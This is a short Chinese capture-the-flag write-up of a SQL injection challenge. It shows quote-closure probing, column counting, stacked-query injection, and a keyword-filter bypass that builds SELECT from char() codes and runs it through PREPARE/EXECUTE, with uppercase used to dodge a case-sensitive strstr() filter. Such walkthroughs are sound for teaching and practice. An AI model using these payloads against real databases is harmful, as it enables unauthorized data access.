获取靶机
尝试语句闭合方式,输入1、1’、1’#判断,结果语句应该为单引号闭合。
再判断列1’ order by1,2,3…–+,发现到3时报错,所以列数位为2。
然后尝试联合注入,1’ union select 1,databases()# 。返回过滤提示。
过滤了注入常用的关键词。但是尝试一下堆叠注入发现可以
?inject=';show tables;#
然后就不会了,以下取自大佬
sql语句预处理
首先,同样的,sql语句预处理有很多内容,这里也只是其中一种,详细了解可以自行学习。
先来了解 一下这里的预处理
- 在sql语句中,@ 用于定义变量。
- concat(),函数用于字符串拼接。
- char(),将ASCII码转换为对应的字符。
- 定义预处理语句 PREPARE stmt_name FROM preparable_stmt;
- 执行预处理语句 EXECUTE stmt_name [USING @var_name [, @var_name] …];
- 删除(释放)定义 {DEALLOCATE | DROP} PREPARE stmt_name;
然后再看一下这里使用的payload。
- 1';SET @sql = concat(char(115,101,108,101,99,116), " * from `1919810931114514`"); PREPARE yuchuli from @sql; EXECUTE yuchuli;
- 因为select被过滤,用char(115,101,108,101,99,116)生成select,也可以用拼接生成select。
- 然后用concat()拼接成一句完整的sql语句。
- 先定义了一个变量sql,然后将变量sql定义为预处理语句,然后再执行。
得到flag,感觉这种方法更不容易理解。
这种方法在后面看源码发现,其实也过滤了prepare和set,但使用的是strstr(),所以可以用大写绕过,因为它不区分大小写。源码在文章末。